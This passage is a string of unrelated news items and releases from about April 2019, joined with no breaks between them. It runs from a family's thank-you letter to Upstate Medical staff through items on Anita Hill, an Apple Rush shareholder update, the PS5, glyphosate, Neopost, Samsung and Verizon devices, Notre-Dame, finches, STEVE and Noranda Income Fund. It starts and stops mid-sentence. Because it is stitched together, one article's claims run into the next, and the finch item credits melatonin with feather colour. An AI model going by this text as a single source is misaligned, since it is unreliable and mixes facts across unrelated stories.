very kind to us. On numerous phone conversations and texts, you have commented, If there is anything I can do for you, just let me know. As you are aware, we have had several requests, all of which you have honored. Before Joey met with you a year ago, he confided in us that he was quite nervous. I believe he wanted some advice from you regarding psychiatry as a career. Meeting with the president of Upstate, he thought, was so intimidating, but he had some comfort knowing you are a psychiatrist and would likely be very kind. After the meeting, he glowed for days at what had transpired, and he then made the decision that psychiatry would be his specialty. He said you were so very, very kind, an attribute he did not expect from a president of a university! We thank you very much for being so kind to our Joey, and to us, Dr. Dewan. To Dr. Julie White, Sharon Huard, Dr. Julio Licinio and all other faculty and administrators whose names I cannot recall, thank you from the depths of our hearts. You have called us, texted us, written us numerous times with condolences and offers of help. You attended Joeys wake and funeral, sent flowers, and gave many behind the scenes gifts that we will never be aware of. We thank you too from the depths of our hearts for your extraordinary kindness. To the magnificent fourth-year class, and underclassmen who knew Joey, you are all so very, very amazing! I cannot name everything you have done, but will list a couple that come to mind. Your calls and texts to my family have been so very comforting. Your mass presence at his wake and funeral poured so much very needed love into my familys hearts that it helped fill the void of our Joey. Setting up a forever scholarship will ensure Joeys name will continue to live at Upstate. Making a plaque to be installed on a bench at Upstate will also be a reminder to others of our beloved Joey. From your outpouring of love, I see the future of medicine, at least as it comes from Upstate Medical alumni, to be in very compassionate hands. My family truly loves each and every one of you, and we wish and pray for your success in residency and beyond. My family will keep the entire Upstate community in our thoughts, forever. I know Joey is looking out from heaven on each and every one of you fondly, and he too will be extending help and love to you throughout your careers, and in life. Joseph Morra Maria Morra Christine Joy Kevin Joy Baldwinsville Anita Hill, who famously testified about sexual harassment before an all male-panel during the 1991 confirmation hearings for Justice Clarence Thomas, recently spoke to former Vice President Joe Biden and reportedly was not satisfied by the conversation. Ahead of his officially entering the 2020 presidential race on Thursday, Biden called Hill, according to The New York Times, to apologize for how she was treated when she testified before the Senate Judiciary Committee he chaired. "I cannot be satisfied by simply saying I'm sorry for what happened to you. I will be satisfied when I know there is real change and real accountability and real purpose," she told the Times. The call came as Biden seeks to restore his standing with female voters after a flurry of stories about his making women feel uncomfortable with his physical style. Biden's campaign confirmed to The Post that the two spoke, but declined to discuss the timing or nature of their conversation. Biden referenced Hill in a speech last month: "To this day, I regret I couldn't give her the kind of hearing she deserved," he said. Hill told the Times that one apology does not make up for how the Judiciary Committee made victims of sexual violence feel after they saw how poorly she was treated after coming forward with allegations of harassment by Thomas. TITUSVILLE, Fla., April 26, 2019 (GLOBE NEWSWIRE) -- The Apple Rush Company, Inc. (OTC PINK: APRU) (the company) Announces Fiscal Year 2018 Results. We are very excited to announce the following news since the Stop Sign came off, and the filing of financials showing the company building a solid real business with potential staying power with national and international distribution and production. -- Full year total revenue grew 57% year over year to $715,000 -- Net Loss was $25,002 for the year with cash flow being negative due to addition of salaries, additional warehousing space, marketing costs, new product production costs, and research and development "Following some minor delays, the Q4 capped a great year for Apple Rush," said Tony Torgerud, CEO of APRU. "Our sales on an execution platform continues to produce sales growth across the globe, our efforts in the expanding market we supply continues to strengthen, and we remain intensely focused on the tasks at hand, to achieve a competitive advantages through quality relationships and great product lines." "The momentum in our businesses is shown by strength across our key metrics," according to our accountants. "Our net dollar retention rate is going to be the focus as we resupply outlets and of course, year over year, numbers are only a year way." Also, at a meeting last month in Vero Beach, Tony Torgerud, CEO of Apple Rush Company, Inc. created a partnership with AAG-Live to provide Apple Rush to many different events across southern Florida. Jason Atwell, recently served our non-alcohol 100% juice products at an event held for a large hospital group where it was met with such acclaim that AAG-Live has decided to use our products exclusively at their many future events which will serve as a great vehicle for brand promotion going forward. We provided Apple Rush at the Indian River County firefighters fair through our tent and at the concert venue with great success in sales and customer response to our new can line. We will be looking at other event planning firms as potential partners and new sales outlets. In St. Louis and north, Ronnda Shields continues to open new store locations -- she opened 73 more new accounts in just 10 days. Our first sampling at a Schnucks delivered results of 319 bottles sold at $2.99 per bottle. Our products sell fast and easily once tried by consumers and buyers, who love the taste as much as we do. Rarely will we get a negative comment about the taste. Apple Rush has gone from a zero-revenue business with no assets and hundreds of thousands of dollars of liabilities to a revenue producing business with no long-term debt or short-term convertible debt, which some seem to ignore as they seek to short or trade our shares. We seek shareholders that are long-term investors, so our updates on all matters in works and completed will always seek to focus on long-term events and will be reported on through our social media unless large enough to justify an actual press release. We are in the process of a complete redesign of all media properties and anticipate them to be finalized over the next 30 days or so. We will also be updating first quarter financials and announcing additional finalized contracts for growth in multiple areas of the country and throughout our core product lines. We are in the process of International expansion and will update shareholders as that occurs. We have hired Sarah Geary as our social media manager and have seen strong results in the engagement of our customers as a direct result of constant contact through Facebook and Twitter. Reach out to Sarah at media@aprullc.com with pictures, events, comments, etc. and she will do her best to incorporate your contact into our corporate messaging. We will be adding several key positions over the next 30 days to ramp up the expansion of all product lines. They will be in financial management, sales, and production. All news will be made public via the official Twitter account @realAPRU_news, when that news occurs, and periodic updates to shareholders such as this and one on Dec. 18, 2018, will continue to be forthcoming in the future. Dear Apple Rush Shareholder: Again, thank you for sharing our vision for the Apple Rush Brands and growing our products and markets to include some organic, natural, alcohol, CBD, energy drinks, liquid additives, and chews. In addition to expanding national sales efforts out of the Companys HQ in Titusville, FL, a prominent local sales agent in Japan will be presenting the 8-ounce cans in all flavors of 100% Juice, Apple, Black Cherry, Blueberry, and Pomegranate, for sales in in over 25,000 retail stores in Japan. There are 16,000 7-11s in Japan and the pricing has been determined in anticipation of the Japanese demand for Products made in the USA. Plans are to bottle international products in Florida. A similar effort will follow with South Korea and Vietnam once shipments begin. Tony said, our contacts in Japan are very prominent in the industry, including the former President of Tropicana, and these knowledgeable industry leaders are equally excited about this ongoing project which has taken me time to plan. Logistics take time around the world, pricing, product safety and labeling required attention, but I want to say that all over the seltzer-juice and seltzer-alcohol markets worldwide are ballooning before our eyes, there 28,000-plus private outlets in Japan identified where sales will be sought even though we are only at the stage where samples have arrived in Japan. Presentations of our products there are beginning. Watch for future reports on Twitter, and so please remain patient. I know some will say do better but at home, we see Canada, the Middle East and Japan as places where premium US goods favor the Company. Summer heat will drive sales and keep Ronnda hopping. And we hope to have big US news soon, too. Previously it was announced that under the tentative trade name "Hard Rush," new markets would fuel the company. The Company's ownership transfer to Southern Eagle, Champagne Beverage, and North Florida Sales, named previously, has been questioned, but it will become clear as soon sales of our new alcoholic beverage products will make up a significant share of the projected $100,000,000.00 in annual sales projected pro forma. The update on this line is that we have made a deal in principal to secure the trademark Hard Rush and we have completed all paperwork needed, all testing, all formulae, and production planning for the brewery run, Tony exclaims. The Company will move on Hard Rush as soon as we have all matters finalized and be assured that we will be hiring help as required. Creating new jobs! We have been working hard and know that organizational changes and expansion is part of 2019 for us. Tony concludes, We have worked to keep expensed down, while working smart and prioritizing the mix of profitable lines planned to move this company far beyond even my initial desires, Another matter to be finalized by the Company first is the termination of shares, which are above the allowed medallion levels, and so the plane tickets are purchased and the closing is scheduled for in person transfer of shares. The efforts continue to bring down the share while the market value of this company meets and exceeds its potential. There is no reason to increase expense and expand before all foundational steps are completed. (We have made great strides and again, great gratitude goes out to Mr. Corr from whom we still plan to finalize the acquisition of not only Hard Rush, but Ginseng Rush and other important marks.) The Apple Rush brand is strong, the products are great looking, safe, taste great, and moreover the product mix is varied with even more new products in development. We anticipate that we will be talking to potential partners in the future that will help take Apple Rush completely national and look forward to the future of the brand. This brand has stood the test of time, since 1972. Now, its resurgence will not be ephemeral and thus, once again, the President offers the following regarding the Apple Rush brands. The Apple Rush Company, Inc. anticipates a good spring and summer as weather improves across its current markets. David A. (Tony) Torgerud CEO Apple Rush Company, Inc. About APRU, LLC : About The Apple Rush Co., Inc. The Apple Rush Company, Inc., through its subsidiary APRU, LLC, is a distributor of cpg products under the trademarked Apple Rush brand and other labels. The Apple Rush brand has more than 40 years of existence in the natural beverage industry. As a historical leader in the organic and natural beverage sector our goal is to also become the leader in the distribution of anhydrous hemp oil products nationwide. For more information, please go to www.applerush.com. About APRU, LLC: APRU, LLC focuses on the development and sales of all natural Apple Rush sparkling juices, and research and development, of premium hemp extracts that contain a broad range of cannabinoids and natural hemp derivatives and other active ingredients such as our exclusive agathos active, kratom, kava, blue lotus, and ginseng. www.aprullc.com or on Twitter @RealAPRU_News. Safe Harbor Act: Forward-Looking Statements are included within the meaning of Section 27A of the Securities Act of 1933, and Section 21E of the Securities Exchange Act of 1934, as amended. All statements regarding our expected future financial position, results of operations, cash flows, financing plans, business strategy, products and services, competitive positions, growth opportunities, plans and objectives of management for future operations, including words such as "anticipate," "if," "believe," "plan," "estimate," "expect," "intend," "may," "could," "should," "will," and similar expressions are forward-looking statements and involve risks, uncertainties and contingencies, many of which are beyond our control, which may cause actual results, performance, or achievements to differ materially from anticipated results, performance, or achievements. We are under no obligation to (and expressly disclaim any such obligation to) update or alter forward-looking statements, whether as a result of new information, future events or otherwise. Investor relations Contact: Tony Torgerud 888-741-3777 x 2 Something to look forward to: With Sony recently revealing details about its next-gen PlayStation 5 console, one might have expected that the machine will be here sooner rather than later. But anyone who recently purchased a PS4 doesnt have to worry: its successor wont arrive for at least another 12 months. Last week saw Sony release a slew of information regarding the PS5, which might not go by that name. Lead system architect Mark Cerny confirmed that the heart of the console would be an 8-core, third-gen Ryzen CPU based on AMDs 7nm Zen 2 architecture. It will also boast custom Radeon Navi graphics and support ray tracing and resolutions up to 8K. One thing Cerny didnt mention was the consoles potential launch date, but during the Japanese companys quarterly financial results, Sony said the PS5 wouldnt be released within the next 12 months. Sony: -No next-gen PlayStation launch over next 12 months -PS Now has been ave. 40% annual growth since launch, now 700,000 users -Much of Y31.1 billion (difference between past fy op vs this fy op outlook) to be invested to develop next PlayStation console Takashi Mochizuki (@mochi_wsj) April 26, 2019 Most people believe we will see the PlayStation 5 next year, but we now know it wont be before April. In all likelihood, the machine will release in November, the same month that the PlayStation 4 (2013) and PlayStation 4 Pro (2016) launched. With the PS5 on the horizon, sales of its predecessor have been slowing down. 17.8 million of the consoles were sold in the last year, down from the 19 million sold in 2017. Profits from the gaming business are expected to decline almost 10 percent in the year ending March 2020, partly due to a dearth of major PS4 games and Sonys absence from E3. Despite the decline, lifetime sales of the PS4 are now just 3.2 million units away from the 100 million milestone, which its expected to pass in 2020. Sony said much of the profit from console sales over the last year would be used in the development of the PlayStation 5. No word on whether well see the Xbox One successor around the same time as the PS5 launch, but analysts do believe Microsofts flagship machine will be more powerful than Sonys. Researchers from Washington State University recently published a study about glyphosate and its adverse health effects across several generations. Glyphosate is one of the key ingredients in weed killers and herbicide around the world. According to researchers, exposure to the compound will result in a variety of diseases to the second and third generations of the people exposed. Dramatic Increases Michael Skinner, a WSU professor of biological sciences, and his colleagues engaged in a clinical trial to see the effects of glyphosate on rats. The researchers exposed pregnant rats to the herbicide between their eighth and 14th days of gestation, and the results showed no ill effects on either the parents or the first generation of offspring. However, a variety of diseases dramatically increased in the second to third generations of offspring. In the second generation, Skinner and his colleagues saw "significant increases" in obesity, testis, ovary and mammary gland diseases. Meanwhile, the researchers saw a 30 percent increase in prostate disease in the third-generation males, and a 40 percent increase in kidney disease among females. One-third of the second-generation mothers experienced unsuccessful pregnancies, and two out of five females and males in the third generation experienced obesity. Generational Toxicology Skinner and his team called the phenomenon "generational toxicology," and they've seen it before in other harmful chemicals as well such as pesticides, fungicides, the insect repellant DEET, jet fuel, the herbicide atrazine, and the plastics compound bisphenol A. "The ability of glyphosate and other environmental toxicants to impact our future generations needs to be considered and is potentially as important as the direct exposure toxicology done today for risk assessment," says Skinner and his colleagues. Skinner was not the first scientist to study glyphosate and its effects. Another University of Washington study was published in February this year detailing glyphosate's influence on increasing the risk of non-Hodgkin lymphoma by as much as 41 percent. The University of Washington also published a study last December stating that state residents living close to areas subject to treatments with the herbicide are one-third more likely to die an early death from Parkinson's disease. According to Skinner, glyphosate's generational toxicology shouldn't be taken lightly by the consumers. It's one of the most popular weed killers around the world, so everyone should be aware of all the risks they can be exposed to if they decide to purchase the chemical. Carcinogenic Weed Killer There are some claims stating that prolonged exposure to glyphosate could result in cancer. Animal and humans studies were evaluated by regulatory agencies in the United States, Australia, Japan, The European Union, and Canada, as well as the Joint Meeting on Pesticide Residues of the United Nations and World Health Organization (WHO). The following agencies studied the cancer rates among the laboratory animals who were fed with high doses of glyphosate, and the results stated that glyphosate is not likely to be carcinogenic. Scientists working for the International Agency for Research on Cancer of the WHO, however, rejected the claim as their evaluations on fewer studies resulted in glyphosate's high probability of being carcinogenic. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. English French MEETING OF THE BOARD OF DIRECTORS OF NEOPOST ON APRIL 26, 2019 Denis Thiery, Chairman of the Board of Directors, will not apply for the renewal of his mandate as director expiring at the end of the next General Meeting To replace Denis Thiery, the Board of Directors will submit to the vote of shareholders the appointment of Didier Lamouche as director Subject to the decision of the General Meeting, the Board of Directors should appoint Didier Lamouche as Chairman of the Board of Directors The Board of Directors warmly thanks Denis Thiery for having significantly contributed, for a long time and in various roles, to the development of Neopost Paris, April 26, 2019 Neopost, a global leader in mail solutions, business process automation, customer experience management and parcel locker solutions, today announced the decision made by Denis Thiery, Chairman of the Board of Directors, not to apply for the renewal of his mandate as director which expires at the end of the next General Meeting of Shareholders to be held on June 28, 2019. The Board of Directors of Neopost, meeting today, took note of the decision of Denis Thiery and has already paid tribute to him for his long and significant contribution to the development of Neopost as Chief Financial Officer from 1998 to 2007, Chief Executive Officer from 2007 to 2010, Chairman & Chief Executive Officer from 2010 to 2018 and lastly, Chairman of the Board of Directors since 2018. The Board also wishes to thank Denis Thiery for his support in the process of governance change. During this same meeting, the Board of Directors decided to submit to the vote of the shareholders at the Shareholders' Meeting of June 28, 2019, the appointment of Didier Lamouche as a new director of the Company. In addition, in the event that the shareholders of the Company vote in favor of the appointment of Didier Lamouche as director, the Board of Directors to be held after the General Meeting should appoint Didier Lamouche as new Chairman of the Board of Directors of the Company. At the same meeting, given the independence of the future Chairman, the Board should also record the ending of the position of Lead Director (currently held by Vincent Mercier) with effect from January 31, 2020. BIOGRAPHICAL ELEMENTS CONCERNING DIDIER LAMOUCHE Didier Lamouche, 59, a French citizen, held, until the end of 2018, the position of Chairman of the Executive Board of Idemia, which was created at the end of 2016 as a result of the merger of Safran Identity & Security and Oberthur Technologies, a world leader in digital security and identity technologies, which he had managed since 2013. He previously held the position of Deputy Chief Executive Officer of ST-Microelectronics from 2010 to 2013, as well as Chairman of the Executive Board of the ST-Ericsson joint venture from 2011 to 2013. Didier Lamouche was previously Chairman and Chief Executive Officer of Bull from 2005 to 2010, which he reorganized and repositioned in growth segments. Didier Lamouche began his career in 1984 as an R&D engineer at Philips Research Lab before joining IBM Microelectronics from 1985 to 1994 with multiple industrial functions in the semiconductor environment, in France and the United States, at Motorola Semiconductor in 1995-1996, then as founder and Chief Executive Officer of the IBM-Siemens joint venture, Altis Semiconductor, from 1998 to 2003, and finally Global Vice President of IBM Semiconductor Operations based in New York. Didier Lamouche has extensive experience in corporate governance, in both public and private sectors, having served as director of seven companies for nearly 15 years. He is currently director of ADECCO, the world leader in the human resources industry, and Chairman of the Board of the German company Utimaco, a leader in the cyber security industry. Didier Lamouche graduated from Ecole Centrale de Lyon (France) and holds a PhD in Semiconductor Technology. CALENDAR The first-quarter 2019 sales press release will be published on May 27, 2019 after market close. ABOUT NEOPOST NEOPOST is a global leader in mail solutions, business process management, customer experience management and parcel locker solutions. Its mission is to deliver reliable solutions that create relevant and personalized interactions. With a direct presence in 29 countries and around 5,800 employees, Neopost reported annual sales of 1.1 billion in 2018. Its products and services are sold in more than 90 countries. Neopost is listed in compartment A of Euronext Paris and belongs to the SBF 120 index. For more information, please contact: Gaele Le Men, Neopost OPRG Financial Financial and Corporate Communications Director Isabelle Laurent / Fabrice Baron +33 (0)1 45 36 31 39 +33 (0)1 53 32 61 51 /+33 (0)1 53 32 61 27 g.le-men@neopost.com / financial-communication@neopost.com isabelle.laurent@oprgfinancial.fr / fabrice.baron@oprgfinancial.fr Or visit our website: www.neopost-group.com Follow us on: LinkedIn @Neopost Twitter @NeopostGroup Instagram @neopostgroup Attachment AT&T has announced the new Samsung Galaxy View 2, a gigantic slab that's part Android tablet, part portable TV. It's an iteration that many probably didn't expect to see, but at any rate, it's there for the users who want to watch on an easy-to-carry big screen. Galaxy View 2 Goes Official As AT&T confirmed to Engadget, the new Galaxy View 2 won't be as huge as its predecessor, sporting a 17.3-inch Full HD display (1,920 x 1,080, around 127 ppi). Under the hood, it has an Exynos 7884 chip, a midrange processor that packs 1.6 GHz and eight cores. It also comes with 3 GB of RAM, 64 GB of native storage that's expandable by up to 400 GB via a microSD card, a 5-megapixel front-facing camera for video calls, and a 12,000 mAh battery to keep the lights on for hours on end. The slate is equipped with a built-in cover that can be used as a kickstand to boot. Considering its size, it might be cumbersome to use as an Android tablet, but at the very least, the option is there. There are also four speakers with Dolby Atmos Sound to work with to make sure audio is clear. Based on AT&T's ad, it's a handy way to access DirecTV, which is available at a tap of a button via TV Mode, and other streaming services. In addition, it has 4G LTE connectivity and the carrier's NumberSync feature that allows it to make calls and receive them. As for the release date and price of the Galaxy View 2, it's set to hit the shelves on April 26 and cost $37 a month on a 20-month installment plan. That amounts to a total of $740. Now the ginormous tablet likely isn't for everyone, except for those who value screen real estate above all else. That said, the Galaxy Tab S4 is always worth considering, especially now that it has received Android 9 Pie with Samsung's One UI a lower price tag of $650. Galaxy View vs. Galaxy View 2 As mentioned earlier, it isn't as big as its predecessor the Galaxy View, which measures at 18.4 inches. Released back in 2015, it has the same Full HD display and built-in kickstand. It's powered by an Exynos 7580 processor, 2 GB of RAM, and a 5,700 mAh battery. It comes in 32 GB or 64 GB variants with a dedicated microSD slot that supports up to 256 GB of capacity. Its camera also boasts 2.1 megapixels. It's priced at $600, making it the more affordable of the two. In other words, the new Galaxy View 2 is more portable and more powerful, which shouldn't come as much of a surprise since this refresh is rolling out after a couple of years since the original. It's also a tad more expensive. Not A Big Surprise Back in August, Samsung has already been rumored to be working on a new Galaxy View. At the time, it was also said to make the iteration more compact, which falls in line with the specs of the Galaxy View 2. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. A construction company in the Netherlands that specializes in 3D printing is proposing to rebuild parts of Notre-Dame Cathedral that were damaged by the fire. Rotterdam-based Concr3de is offering its services to help put back the more than 850-year-old French cathedral to its former glory using 3D printing technology. To prove that it is more than capable of doing the job, the company has already recreated one of the stone gargoyles found on Notre-Dame's rooftop. Concr3de's 3D Printing Technology Dutch architects Matteo Baldassari and Eric Geboers started Concr3de in 2016 with the goal of providing customers with unique and more sustainable options for architecture, design, manufacturing, and construction using 3D printing. Some of the company's early works include ornately designed coral lamps and a section of the 3rd-century Monumental Arch of Palmyra in Syria, which was almost completely destroyed by ISIS forces in 2015. Following the great fire that engulfed much of Notre-Dame last week, Concr3de proposed to fix the damages by replacing parts of the gothic cathedral with 3D prints. "We saw the spire collapse and thought we could propose a way to combine the old materials with new technology to help speed up the reconstruction and make a cathedral that is not simply a copy of the original but rather a cathedral that would show its layered history proudly," Geboers told London-based architecture magazine Dezeen. Concr3de used three-dimensional scans to reproduce Notre-Dame's Le Stryge statue. The gargoyle was one of the sections of the cathedral destroyed by the fire. The company's reconstruction team then used a combination of ash and limestone to replicate the statue. Using Notre-Dame's Original Construction Materials By using materials that were left after the fire, Geboers believes it would help address some of the philosophical problems associated with rebuilding the centuries-old cathedral using modern-day materials. He said simply copying Notre-Dame's original design and pretending that there was never a fire would be tantamount to historical forgery. Notre-Dame was largely built using Lutetian Limestone that was taken from mines that are now buried beneath Paris and no longer accessible. Meanwhile, the oak beams that were used to build the cathedral's timber roof were taken from trees that existed during the 13th century. Geboers and his team's plan is to make use of the cathedral's original materials that were damaged during the fire to reconstruct the building. This includes the limestone that was exposed to the blaze's high temperatures. They would break down the material to the appropriate grade to eliminate the effect of the fire damage, Geboers said. Concr3de workers used scans of Le Stryge that were found on the internet. They then printed the gargoyle statue using the company's printer known as Armadillo White. Geboers described the 3D printer as a custom inkjet that has been fine tuned to use stone and other similar materials. It is capable of making precision prints of up to 0.1 millimeter. He said the Armadillo White can produce any geometry without needing much support. It also allows customizations of materials. The Concr3de proposal suggests that 3D printing can produce stone vaults to replace the ones that were damaged when Notre-Dame's spire collapsed. Geboers pointed out that it would be more affordable to 3D print lost sections of the cathedral than to cut new ones from stone. The company is confident that its technique can help rebuild the Notre-Dame Cathedral within the five-year timeframe set by French President Emmanuel Macron. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. An international team of scientists has figured out why Gouldian Finches continue to feature three different colors: red, yellow, and black. In a study, they explained that another evolutionary process maintained the polymorphism of the popular cage birds over thousands of generations. The team consists of researchers from Cornell University's Lab of Ornithology, University of Sheffield, and other institutions. They published their findings in the journal Nature Communications on Wednesday, April 23. Why Gouldian Finches Have Different Color Heads "Having distinct multiple color types a polymorphism-maintained within a species for a long time is extremely rare," explained David Toews, a postdoctoral researcher at the Cornell Lab and a co-author of the study. "Natural selection is typically thought of in a linear fashion a mutation changes a trait which then confers some reproductive or survival advantage, which results in more offspring, and the trait eventually becomes the sole type in the population." Toews and team explained that another evolutionary process called balancing selection has maintained the red and black tone of Gouldian Finches. Studies conducted by Macquarie University found that male Gouldian Finches with a red head are more popular to the females. Red-headed finches are also more dominant within the birds' social hierarchy. However, red-headed finches also have disadvantages. The research found that they have higher levels of stress hormones during a competition, canceling out its advantage over black-headed finches. The mechanism that maintains the existence of yellow-headed Gouldian Finches, which makes up less than one percent of the wild finches population in the world, remains a mystery. How Gouldian Finches Get Their Vibrant Colors Separate teams from the University of Sheffield and the Cornell Lab independently investigated the gene called follistatin, which can be found in the sex chromosomes of Gouldian Finches. The researchers combined their data and reported that the gene regulates the melatonin that produces the red and black colors of the Gouldian Finches' head. However, a different gene not located in the sex chromosome and not yet been found by scientists is responsible for the yellow head of some Gouldian Finches. In addition, the researchers revealed that the same genes are also likely to be responsible for the color of the plumage of North American Blue-winged and Golden-winged warblers. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. A Florida man contracted flesh-eating bacteria after he was pricked by a fish hook while fishing in the Gulf of Mexico. Small Prick From A Fish Hook Mike Walton said the incident happened on Saturday, but this was not the first time he had been stuck by a hook. He said it was something that has happened many times before while he was fishing, and it was a small prick. The injury this time, however, was more serious, and his hand started to swell. He went to a hospital for treatment and received antibiotics, but his condition worsened. The next day, Easter Sunday, he noticed black bubbles on his injured hand. "I had like little blisters starting to form on my hand and you could watch like sweat beads coming up on side of the hand, and then they just turned black," Walton said. He was then rushed to Tampa General Hospital, where he was placed in the burn unit so infectious disease doctors could treat him. Necrotizing Fasciitis Doctors found he had the flesh-eating disease, necrotizing fasciitis, a bacterial infection that rarely occurs in the United States. Doctors considered amputating his arm because the infection was spreading quickly, and it is possible Walton might lose his arm. Fortunately, they were able to remove the bacteria by cutting out the infected tissues. They also performed a skin graft on his hand up to his arm. Lucky It is not clear if Walton will retain the full function of his limb, but he was alive, and doctors were able to save his arm. Some were not as lucky and died after contracting the disease. Walton was released from the hospital on Wednesday, albeit he will be on antibiotics for a month. Eric McLendon, the owner of Ozona Fish Camp, which has been helping raise funds for Walton while he is unable to work for the next few months, said the experience did not seem to deter Walton from fishing again. "He is optimistic and looking forward to fishing again," he said. "He has been fishing his whole life here and fishes as often as possible. He would fish every day if time would allow." 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. It was in 2018 when scientists confirmed that the sky-glow called STEVE is actually not an aurora. Now, researchers of a new study describe the mechanisms that cause it. 'Sky-Glow A sky-glow caught the attention of many when it appeared like an aurora in a region thats farther south that where auroras typically appear, and in shades of mauve rather than the typical aurora green. Whats even stranger is that the mauve lights are sometimes joined by a picket fence of green vertical lights. The new sky-glow was dubbed strong thermal emission velocity enhancement (STEVE), and soon scientists confirmed that STEVE is, in fact, not an aurora. This is because auroras are produced when glowing nitrogen and oxygen atoms on the Earths upper atmosphere are excited by the charged particles from the planets magnetosphere, and by 2018, scientists already knew that it was not the same mechanism that causes STEVE. However, they were still unaware of STEVEs true cause, which is why they simply dubbed it as a sky glow." STEVE Now, researchers of a new study published in the Geophysical Research Letters analyzed satellite data and ground images of STEVE, and concluded that there are two different mechanisms that are causing STEVEs mauve light arc and green picket fence. First, the green picket fence is actually caused by the same mechanism that creates auroras, which makes it one, too, but it is still unique in that it emerges in locations where auroras do not typically appear. Further, they also observed that the picket fence look is created when high-frequency waves from the magnetosphere energize electrons and knock them out of the magnetosphere, thereby creating the striped image. As for the reddish arc, they observed that it occurs much in the same way that incandescent light bulbs work. Evidently, when a river of charged particles in the Earths ionosphere collide, it creates friction, heating the particles and causing the reddish arc. We suggest that the electron precipitation drives the picket fence, and heating drives the mauve as thermal emission, researchers wrote. Citizen Scientists Apart from their significant findings, researchers also note the relevance of data they gathered from citizen scientists from whom many of the data that they analyzed came from. In fact, in 2018, NASA even called citizen scientists for help in spotting STEVE. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Verizon has finally unveiled how much the 5G version of Samsung's Galaxy S10 is going to cost $1,300. But there'll be a few exceptions. The Big Red has now opened preorders for the handset. While that price puts the device out of reach for most people, there'll be a number of options to trim it down a bit. Verizon is offering up to $450 for trade-ins on eligible phones, and it's also adding a $200 prepaid Mastercard for those who switch to Verizon, purchase the device on a payment plan, and sign up for Verizon Unlimited. In addition, the company will also waive the $10 monthly fee for 5G Ultra Wideband access. It'll also throw in a Samsung VIP kit, which includes a free pair of Samsung's Galaxy Buds, a wireless charging battery pack, and a free water bottle. Though to get these perks, the customer must preorder a Galaxy S10 5G between now and May 15 and then register the device in the Shop Samsung app. Customers will be able to purchase the Galaxy S10 5G from Verizon stores on May 16. 5G Deployment The carrier previously said it plans to deploy 5G in more than 30 cities this year. Now, it's named 20 of those cities, including Chicago and Minneapolis where the service has already been activated. The new cities, covering all coasts in the country, will all receive Verizon's millimeter wave 5G Ultra Wideband service before this year ends. The 20 cities are as follows: Atlanta Boston Charlotte Cincinnati Cleveland Columbus Dallas Des Moines Denver Detroit Houston Indianapolis Kansas City Little Rock Memphis Phoenix Providence San Diego Salt Lake City Washington DC Verizon will announce more 5G cities sometime later this year, as well. Should You Buy A 5G Phone Right Now? Even for someone who lives in an area where 5G is accessible, it might not be wise to buy a phone with 5G capabilities at the moment. As many publications have discovered while testing Verizon's network in Chicago, the service tends to be spotty and typically requires the user to be outside most of the time to get decent speeds, since walls, windows, and other obstructions can quickly reduce 5G speeds down to regular 4G LTE speeds. That kind of compromise is a major no-no, especially for a phone that costs this much. Still, 5G is poised to be the future of mobile connecitivty, and at the moment at least, $1,300 is the price one has to pay to have a device proofed for the future. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. After iFixit published its revealing Galaxy Fold teardown, which labeled the device as "alarmingly fragile," Samsung sent a request to have it pulled online. The reason the South Korean brand is doing this is unclear, and presumably, it isn't willing to say why, leaving everything to speculation. Samsung Risks The Streisand Effect The company didn't directly send the request to iFixit to have the Galaxy Fold teardown taken down. Instead, it contacted the person who supplied the device to the repair outfit, who then removed the publication in good faith. "We were provided our Galaxy Fold unit by a trusted partner. Samsung has requested, through that partner, that iFixit remove its teardown. We are under no obligation to remove our analysis, legal or otherwise. But out of respect for this partner, whom we consider an ally in making devices more repairable, we are choosing to withdraw our story until we can purchase a Galaxy Fold at retail," iFixit said. Now the Galaxy Fold breaking in the hands of reviewers has been making the rounds online. That is to say, the device has been a hot topic of late. The recent teardown possibly could've gone under the radar of some users, but any chance of that happening is potentially close to nil now that Samsung is risking the Streisand effect. Exploring The Possibilities As The Verge speculates, Samsung could be revamping the Galaxy Fold and its design, and it simply doesn't want a teardown of one of its devices that's not going to be commercially available in the wild. The news outlet also says that the smartphone maker could just be enforcing a contract where iFixit's partner isn't allowed to share the device. It's not a stretch to believe that threats with legal repercussions were thrown around either. In addition, there's a chance that the teardown was just too telling, revealing numerous avoidable flaws and the like, particularly the lack of an ingress protection that let debris to get inside the foldable phone and damage it. Whatever it is, Samsung wants the teardown to be out of the public's eye. Teardown Is Still Online For those who missed it, the Galaxy Fold teardown is still available online, thanks to the Internet Archive. However, as Android Police points out, iFixit could eventually request to have it pulled as well to further honor Samsung's request to its partner. At any rate, it's still up at the time of this writing. Galaxy Fold's Roller-Coaster Ride For the uninitiated, the whole mess started when some of the Galaxy Fold review units Samsung seeded to tech journalists and influencers broke after a few days of use. Apparently, the device had a polymer coating that looks like a normal plastic screen protector, and if it were peeled off, the screen would stop working properly. That was the case in the majority of the reports, but there were at least two that were different, one of which showed that the device developed a bulge on the crease. Samsung then postponed Galaxy Fold launch events in China, and this led to pushing back the shipping date in United States. Next, the company recalled the devices for investigation. To make matters weird, AT&T announced a June 13 release date for the foldable phone. After all that, iFixit then uploaded the teardown in question, and it has now removed it at Samsung's request. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. English French TORONTO, April 26, 2019 (GLOBE NEWSWIRE) -- Noranda Income Fund (the Fund) (TSX: NIF.UN) announced today the voting results from its Annual General Meeting (the AGM) of unitholders held this morning. At the AGM, there were 34 holders of Priority Units and Special Fund Units (Units) of the Fund represented in person or by proxy, holding 21,820,349 Units and representing 43.65% of the Funds 49,989,975 issued and outstanding Units. The results of the vote for the election of trustees was as follows: Class Nominee Votes For % Proxy Votes Withheld % Proxy Priority and Special Units Ken Klassen 19,946,832 94.68% 1,120,507 5.32% Anthony P.L. Lloyd 20,322,746 96.47% 744,593 3.53% Jean Pierre Ouellet 20,329,019 96.50% 738,320 3.50% Francois R. Roy 20,337,899 96.54% 729,440 3.46% Eva Shaw 19,936,638 94.63% 1,130,701 5.37% Barry Tissenbaum 20,198,636 95.88% 868,703 4.12% Dirk Vollrath 20,026,125 95.06% 1,041,214 4.94% Noranda Income Fund is an income trust whose units trade on the Toronto Stock Exchange under the symbol "NIF.UN". Noranda Income Fund owns the electrolytic 